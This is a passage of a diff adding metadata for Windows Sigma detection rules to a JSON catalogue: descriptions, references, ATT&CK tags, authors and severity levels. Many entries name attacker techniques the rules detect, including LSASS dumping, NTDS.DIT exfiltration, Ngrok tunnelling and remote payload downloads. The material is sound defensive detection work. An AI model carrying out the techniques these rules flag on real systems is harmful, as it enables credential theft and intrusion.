"https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_iss_module_install.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2019/12/11", + "filename": "proc_creation_win_susp_iss_module_install.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown as it may vary from organisation to organisation how admins use to install IIS modules" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the rare use of the command line tool shutdown to logoff a user", + "uuid": "ec290c06-9b6b-4338-8b6b-095c0f284f10", + "value": "Suspicious Execution of Shutdown to Log Out", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1529/T1529.md", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_logoff.yml" + ], + "tags": [ + "attack.impact", + "attack.t1529" + ], + "creation_date": "2022/10/01", + "filename": "proc_creation_win_susp_logoff.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Wscript or Cscript executing from a drive other than C. This has been observed with Qakbot executing from within a mounted ISO file.", + "uuid": "5b80cf53-3a46-4adc-960b-05ec19348d74", + "value": "Wscript Execution from Non C Drive", + "meta": { + "refs": [ + "https://github.com/pr0xylife/Qakbot/blob/main/Qakbot_BB_30.09.2022.txt", + "https://app.any.run/tasks/4985c746-601e-401a-9ccf-ae350ac2e887/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lolbin_non_c_drive.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/10/01", + "filename": "proc_creation_win_susp_lolbin_non_c_drive.yml", + "author": "Aaron Herman", + "level": "medium", + "falsepositive": [ + "Legitimate applications installed on other partitions such as \"D:\"" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious LSASS process process clone that could be a sign of process dumping activity", + "uuid": "c8da0dfd-4ed0-4b68-962d-13c9c884384e", + "value": "Suspicious LSASS Process Clone", + "meta": { + "refs": [ + "https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/", + "https://twitter.com/Hexacorn/status/1420053502554951689", + "https://twitter.com/SBousseaden/status/1464566846594691073?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lsass_clone.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003", + "attack.t1003.001" + ], + "creation_date": "2021/11/27", + "filename": "proc_creation_win_susp_lsass_clone.yml", + "author": "Florian Roth, Samir Bousseaden", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Use of reg to get MachineGuid information", + "uuid": "f5240972-3938-4e56-8e4b-e33893176c1f", + "value": "Suspicious Query of MachineGUID", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-8---windows-machineguid-discovery", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_machineguid.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1082" + ], + "creation_date": "2022/01/01", + "filename": "proc_creation_win_susp_machineguid.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious child processes of the Microsoft OneNote application. This may indicate an attempt to execute malicious embedded objects from a .one file.", + "uuid": "c27515df-97a9-4162-8a60-dc0eeb51b775", + "value": "Suspicious Microsoft OneNote Child Process", + "meta": { + "refs": [ + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-e34e43eb5666427602ddf488b2bf3b545bd9aae81af3e6f6c7949f9652abdf18", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_microsoft_onenote_child_process.yml" + ], + "tags": [ + "attack.t1566", + "attack.t1566.001", + "attack.initial_access" + ], + "creation_date": "2022/10/21", + "filename": "proc_creation_win_susp_microsoft_onenote_child_process.yml", + "author": "Tim Rauch (rule), Elastic (idea)", + "level": "medium", + "falsepositive": [ + "File located in the AppData folder with trusted signature" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Windows command lines that miss a space before or after the /c flag when running a command using the cmd.exe.\nThis could be a sign of obfuscation of a fat finger problem (typo by the developer).\n", + "uuid": "a16980c2-0c56-4de0-9a79-17971979efdd", + "value": "Missing Space Characters in Command Lines", + "meta": { + "refs": [ + "https://twitter.com/cyb3rops/status/1562072617552678912", + "https://ss64.com/nt/cmd.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_missing_spaces.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/08/23", + "filename": "proc_creation_win_susp_missing_spaces.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of the \"mofcomp\" utility as a child of a suspicious shell or script running utility or by having a supsicious path in the commandline.\nThe \"mofcomp\" utility parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository.\nAttackers abuse this utility to install malicious MOF scripts\n", + "uuid": "1dd05363-104e-4b4a-b963-196a534b03a1", + "value": "Suspicious Mofcomp Execution", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", + "https://github.com/The-DFIR-Report/Sigma-Rules/blob/75260568a7ffe61b2458ca05f6f25914efb44337/win_mofcomp_execution.yml", + "https://docs.microsoft.com/en-us/windows/win32/wmisdk/mofcomp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mofcomp_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218" + ], + "creation_date": "2022/07/12", + "filename": "proc_creation_win_susp_mofcomp_execution.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation", + "uuid": "cb7c4a03-2871-43c0-9bbb-18bbdb079896", + "value": "Mounted Share Deleted", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mounted_share_deletion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.005" + ], + "creation_date": "2020/10/08", + "filename": "proc_creation_win_susp_mounted_share_deletion.yml", + "author": "oscd.community, @redcanary, Zach Stanford @svch0st", + "level": "low", + "falsepositive": [ + "Administrators or Power users may remove their shares via cmd line" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a certain command line flag combination used by mpiexec.exe LOLBIN from HPC pack that can be used to execute any other binary", + "uuid": "729ce0ea-5d8f-4769-9762-e35de441586d", + "value": "MpiExec Lolbin", + "meta": { + "refs": [ + "https://twitter.com/mrd0x/status/1465058133303246867", + "https://docs.microsoft.com/en-us/powershell/high-performance-computing/mpiexec?view=hpc19-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mpiexec_lolbin.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/01/11", + "filename": "proc_creation_win_susp_mpiexec_lolbin.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detection for mshta.exe suspicious execution patterns sometimes involving file polyglotism", + "uuid": "cc7abbd0-762b-41e3-8a26-57ad50d2eea3", + "value": "MSHTA Suspicious Execution 01", + "meta": { + "refs": [ + "http://blog.sevagas.com/?Hacking-around-HTA-files", + "https://0x00sec.org/t/clientside-exploitation-in-2018-how-pentesting-has-changed/7356", + "https://docs.microsoft.com/en-us/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script", + "https://medium.com/tsscyber/pentesting-and-hta-bypassing-powershell-constrained-language-mode-53a42856c997", + "https://twitter.com/mattifestation/status/1326228491302563846", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mshta_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140", + "attack.t1218.005", + "attack.execution", + "attack.t1059.007", + "cve.2020.1599" + ], + "creation_date": "2019/02/22", + "filename": "proc_creation_win_susp_mshta_execution.yml", + "author": "Diego Perez (@darkquassar), Markus Neis, Swisscom (Improve Rule)", + "level": "high", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious mshta process patterns", + "uuid": "e32f92d1-523e-49c3-9374-bdb13b46a3ba", + "value": "Suspicious MSHTA Process Patterns", + "meta": { + "refs": [ + "https://en.wikipedia.org/wiki/HTML_Application", + "https://www.echotrail.io/insights/search/mshta.exe", + "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mshta_pattern.yml" + ], + "tags": [ + "attack.execution", + "attack.t1106" + ], + "creation_date": "2021/07/17", + "filename": "proc_creation_win_susp_mshta_pattern.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious command line using the \"mshtml.dll\" RunHTMLApplication export to run arbitrary code via different protocol handlers (vbscript, javascript, file, htpp...)", + "uuid": "4782eb5a-a513-4523-a0ac-f3082b26ac5c", + "value": "Mshtml DLL RunHTMLApplication Abuse", + "meta": { + "refs": [ + "https://twitter.com/n1nj4sec/status/1421190238081277959", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mshtml_runhtmlapplication.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/08/14", + "filename": "proc_creation_win_susp_mshtml_runhtmlapplication.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of msiexec from an uncommon directory", + "uuid": "e22a6eb2-f8a5-44b5-8b44-a2dbd47b1144", + "value": "Suspicious MsiExec Directory", + "meta": { + "refs": [ + "https://twitter.com/200_okay_/status/1194765831911215104", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_msiexec_cwd.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.005" + ], + "creation_date": "2019/11/14", + "filename": "proc_creation_win_susp_msiexec_cwd.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious msiexec process starts with web addresses as parameter", + "uuid": "f7b5f842-a6af-4da5-9e95-e32478f3cd2f", + "value": "MsiExec Web Install", + "meta": { + "refs": [ + "https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_msiexec_web_install.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.007", + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2018/02/09", + "filename": "proc_creation_win_susp_msiexec_web_install.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Downloads payload from remote server", + "uuid": "0c79148b-118e-472b-bdb7-9b57b444cc19", + "value": "Malicious Payload Download via Office Binaries", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Powerpnt/", + "https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191", + "Reegun J (OCBC Bank)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_msoffice.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2019/10/26", + "filename": "proc_creation_win_susp_msoffice.yml", + "author": "Beyu Denis, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems", + "uuid": "0e4164da-94bc-450d-a7be-a4b176179f1f", + "value": "Suspicious Netsh Discovery Command", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md#atomic-test-2---list-windows-firewall-rules", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsh_discovery_command.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1016" + ], + "creation_date": "2021/12/07", + "filename": "proc_creation_win_susp_netsh_discovery_command.yml", + "author": "frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", + "level": "low", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects persitence via netsh helper", + "uuid": "56321594-9087-49d9-bf10-524fe8479452", + "value": "Suspicious Netsh DLL Persistence", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.007/T1546.007.md", + "https://attack.mitre.org/software/S0108/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsh_dll_persistence.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1546.007", + "attack.s0108" + ], + "creation_date": "2019/10/25", + "filename": "proc_creation_win_susp_netsh_dll_persistence.yml", + "author": "Victor Sergeev, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects netsh commands that turns off the Windows firewall", + "uuid": "57c4bf16-227f-4394-8ec7-1b745ee061c3", + "value": "Firewall Disabled via Netsh", + "meta": { + "refs": [ + "https://www.winhelponline.com/blog/enable-and-disable-windows-firewall-quickly-using-command-line/", + "https://app.any.run/tasks/210244b9-0b6b-4a2c-83a3-04bd3175d017/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-1---disable-microsoft-defender-firewall", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsh_firewall_disable.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004", + "attack.s0108" + ], + "creation_date": "2019/11/01", + "filename": "proc_creation_win_susp_netsh_firewall_disable.yml", + "author": "Fatih Sirin", + "level": "medium", + "falsepositive": [ + "Legitimate administration" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of client32.exe (NetSupport RAT) from an unsual location (outisde of 'C:\\Program Files')", + "uuid": "37e8d358-6408-4853-82f4-98333fca7014", + "value": "Execution of NetSupport RAT From Unusual Location", + "meta": { + "refs": [ + "https://redcanary.com/blog/misbehaving-rats/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsupport_rat_exec_location.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/09/19", + "filename": "proc_creation_win_susp_netsupport_rat_exec_location.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems", + "uuid": "a29c1813-ab1f-4dde-b489-330b952e91ae", + "value": "Suspicious Network Command", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md#atomic-test-1---system-network-configuration-discovery-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_network_command.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1016" + ], + "creation_date": "2021/12/07", + "filename": "proc_creation_win_susp_network_command.yml", + "author": "frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", + "level": "low", + "falsepositive": [ + "Administrator, hotline ask to user" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.", + "uuid": "1c67a717-32ba-409b-a45d-0fb704a73a81", + "value": "Suspicious Listing of Network Connections", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-1---system-network-connections-discovery", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_network_listing_connections.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1049" + ], + "creation_date": "2021/12/10", + "filename": "proc_creation_win_susp_network_listing_connections.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of Net.exe, whether suspicious or benign.", + "uuid": "183e7ea8-ac4b-4c23-9aec-b3dac4e401ac", + "value": "Net.exe Execution", + "meta": { + "refs": [ + "https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/", + "https://eqllib.readthedocs.io/en/latest/analytics/4d2e7fc1-af0b-4915-89aa-03d25ba7805e.html", + "https://eqllib.readthedocs.io/en/latest/analytics/e61f557c-a9d0-4c25-ab5b-bbc46bb24deb.html", + "https://eqllib.readthedocs.io/en/latest/analytics/9b3dd402-891c-4c4d-a662-28947168ce61.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1007/T1007.md#atomic-test-2---system-service-discovery---netexe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_net_execution.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1007", + "attack.t1049", + "attack.t1018", + "attack.t1135", + "attack.t1201", + "attack.t1069.001", + "attack.t1069.002", + "attack.t1087.001", + "attack.t1087.002", + "attack.lateral_movement", + "attack.t1021.002", + "attack.s0039" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_net_execution.yml", + "author": "Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements)", + "level": "low", + "falsepositive": [ + "Will need to be tuned. If using Splunk, I recommend | stats count by Computer,CommandLine following the search for easy hunting by computer/CommandLine." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects net use command combo which executes files from WebDAV server; seen in malicious LNK files", + "uuid": "f0507c0f-a3a2-40f5-acc6-7f543c334993", + "value": "Suspicious Net Use Command Combo", + "meta": { + "refs": [ + "https://twitter.com/ShadowChasing1/status/1552595370961944576", + "https://www.virustotal.com/gui/file/a63376ee1dba76361df73338928e528ca5b20171ea74c24581605366dcaa0104/behavior", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_net_use.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/09/01", + "filename": "proc_creation_win_susp_net_use.yml", + "author": "pH-T", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a when net.exe is called with a password in the command line", + "uuid": "d4498716-1d52-438f-8084-4a603157d131", + "value": "Password Provided In Command Line Of Net.exe", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_net_use_password_plaintext.yml" + ], + "tags": "No established tags", + "creation_date": "2021/12/09", + "filename": "proc_creation_win_susp_net_use_password_plaintext.yml", + "author": "Tim Shelton (HAWK.IO)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of a new service (kernel driver) with the type \"kernel\"", + "uuid": "431a1fdb-4799-4f3b-91c3-a683b003fc49", + "value": "New Kernel Driver Via SC.EXE", + "meta": { + "refs": [ + "https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_new_kernel_driver_via_sc.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2022/07/14", + "filename": "proc_creation_win_susp_new_kernel_driver_via_sc.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Rare legitimate installation of kernel drivers via sc.exe" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of a new service via \"sc\" command or the powershell \"new-service\" cmdlet with suspicious binary paths", + "uuid": "17a1be64-8d88-40bf-b5ff-a4f7a50ebcc8", + "value": "Suspicious New Service Creation", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md", + "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_new_service_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2022/07/14", + "filename": "proc_creation_win_susp_new_service_creation.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Ngrok, a utility used for port forwarding and tunneling, often used by threat actors to make local protected services publicly available.\nInvolved domains are bin.equinox.io for download and *.ngrok.io for connections.\n", + "uuid": "ee37eb7c-a4e7-4cd5-8fa4-efa27f1c3f31", + "value": "Ngrok Usage", + "meta": { + "refs": [ + "https://ngrok.com/docs", + "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", + "https://stackoverflow.com/questions/42442320/ssh-tunnel-to-ngrok-and-initiate-rdp", + "https://www.virustotal.com/gui/file/58d21840d915aaf4040ceb89522396124c82f325282f805d1085527e1e2ccfa1/detection", + "https://cybleinc.com/2021/02/15/ngrok-platform-abused-by-hackers-to-deliver-a-new-wave-of-phishing-attacks/.", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ngrok_pua.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1572" + ], + "creation_date": "2021/05/14", + "filename": "proc_creation_win_susp_ngrok_pua.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Another tool that uses the command line switches of Ngrok", + "Ngrok http 3978 (https://docs.microsoft.com/en-us/azure/bot-service/bot-service-debug-channel-ngrok?view=azure-bot-service-4.0)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation", + "uuid": "f6ecd1cf-19b8-4488-97f6-00f0924991a3", + "value": "Suspicious Nmap Execution", + "meta": { + "refs": [ + "https://nmap.org/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-3---port-scan-nmap-for-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_nmap.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046" + ], + "creation_date": "2021/12/10", + "filename": "proc_creation_win_susp_nmap.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Network administrator computer" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Checks whether the image specified in a process creation event doesn't refer to an .exe file (caused by process ghosting or other unorthodox methods to start a process)", + "uuid": "c09dad97-1c78-4f71-b127-7edb2b8e491a", + "value": "Execution of Suspicious File Type Extension", + "meta": { + "refs": [ + "https://pentestlaboratories.com/2021/12/08/process-ghosting/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_non_exe_image.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2021/12/09", + "filename": "proc_creation_win_susp_non_exe_image.yml", + "author": "Max Altgelt", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects command that type the content of ntdll.dll to a different file or a pipe in order to evade AV / EDR detection", + "uuid": "bbc865e4-7fcd-45a6-8ff1-95ced28ec5b2", + "value": "Suspicious Ntdll Pipe Redirection", + "meta": { + "refs": [ + "https://www.x86matthew.com/view_post?id=ntdll_pipe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntdll_type_redirect.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/03/05", + "filename": "proc_creation_win_susp_ntdll_type_redirect.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious process patterns used in NTDS.DIT exfiltration", + "uuid": "8bc64091-6875-4881-aaf9-7bd25b5dda08", + "value": "Suspicious Process Patterns NTDS.DIT Exfil", + "meta": { + "refs": [ + "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", + "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", + "https://pentestlab.blog/tag/ntds-dit/", + "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1", + "https://github.com/zcgonvh/NTDSDumpEx", + "https://github.com/rapid7/metasploit-framework/blob/d297adcebb5c1df6fe30b12ca79b161deb71571c/data/post/powershell/NTDSgrab.ps1", + "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntds.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.003" + ], + "creation_date": "2022/03/11", + "filename": "proc_creation_win_susp_ntds.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of ntdsutil.exe to perform different actions such as restoring snapshots...etc.", + "uuid": "a58353df-af43-4753-bad0-cd83ef35eef5", + "value": "Suspicious Usage Of Active Directory Diagnostic Tool (ntdsutil.exe)", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731620(v=ws.11)", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntdsutil_usage.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.003" + ], + "creation_date": "2022/09/14", + "filename": "proc_creation_win_susp_ntdsutil_usage.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate usage to restore snapshots", + "Legitimate admin activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a privilege elevation attempt by coercing NTLM authentication on the Printer Spooler service", + "uuid": "bb76d96b-821c-47cf-944b-7ce377864492", + "value": "Suspicious WebDav Client Execution", + "meta": { + "refs": [ + "https://twitter.com/med0x2e/status/1520402518685200384", + "https://github.com/elastic/detection-rules/blob/dd224fb3f81d0b4bf8593c5f02a029d647ba2b2d/rules/windows/credential_access_relay_ntlm_auth_via_http_spoolss.toml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntlmrelay.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.credential_access", + "attack.t1212" + ], + "creation_date": "2022/05/04", + "filename": "proc_creation_win_susp_ntlmrelay.yml", + "author": "Elastic (idea), Tobias Michalski", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Threat actors can use an older version of the auditpol binary available inside the NT resource kit to change audit policy configuration to impair detection capability.\nThis can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.\n", + "uuid": 